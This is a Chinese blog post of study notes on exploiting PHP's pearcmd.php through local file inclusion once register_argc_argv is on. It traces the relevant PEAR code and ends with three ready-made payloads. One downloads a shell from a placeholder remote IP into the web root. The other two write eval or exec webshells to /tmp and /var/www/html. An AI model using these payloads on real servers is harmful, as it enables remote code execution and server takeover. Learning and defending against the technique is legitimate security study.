pear文件包含学习记录

中文全称PHP扩展应用库

php go-pear.php即可安装,没有就先要去官网下 go-pear.php

一般都是装在/usr/local/lib/php/pearcmd.php

然后就是要在php.ini处找到这个给打开register_argc_argv=ON,默认也是开启的

下面就可以愉快的测试了

正文

开启register_argc_argv 有什么用处?开启了之后$_SERVER[‘argv’]就开始生效了

<?php
var_dump($_SERVER);
?>

  ["argv"]=>
  array(0) {
  }
  ["argc"]=>
  int(0)
不加任何参数得到的argv数组是空,现在加上再试
http://127.0.0.1/1.php?aaa+bbb+ccc
  array(3) {
    [0]=>
    string(3) "aaa"
    [1]=>
    string(3) "bbb"
    [2]=>
    string(3) "ccc"
  }
  ["argc"]=>
  int(3)
可以看见argv是有值的了

再来看pearcmd.php这个文件,往下跟进
在这里插入图片描述在这里插入图片描述
进入到这个factory工厂中,会去找XML是否存在,一个命令对应一个XML,所以命令是有限可控,
在这里插入图片描述
在这里插入图片描述

然后来到这个函数的三个判断,前两个显然是无法满足的,因为版本啥的不可控

    function &fromXmlString($data, $state, $file, $archive = false)
    {
        if (preg_match('/<package[^>]+version="([0-9]+\.[0-9]+)"/', $data, $packageversion)) {
            .........
            
            return $pf;
        } elseif (preg_match('/<package[^>]+version="([^"]+)"/', $data, $packageversion)) {
           ..........
           
            return $a;
        } else {
		   ..........
		  
            return $pf;
        }

可用姿势

1、下载远程文件
?file=/usr/local/lib/php/pearcmd.php&aaa+install+-R+/var/www/html/+http://远程ip/shell.php

<?php
echo "<?php system(\$_POST[1]);";

注意这里我用的是echo,而不是直接的shell,是因为这个过程是先读取文件的内容,然后再写入
/var/www/html/tmp/pear/download/shell.php

2、写入配置文件到/tmp/shell.php
?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/shell.php+-d+man_dir=<?php eval($_POST[1]);?>+-s+

3、日志配置文件写马到目录
?file=/usr/local/lib/php/pearcmd.php&aaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值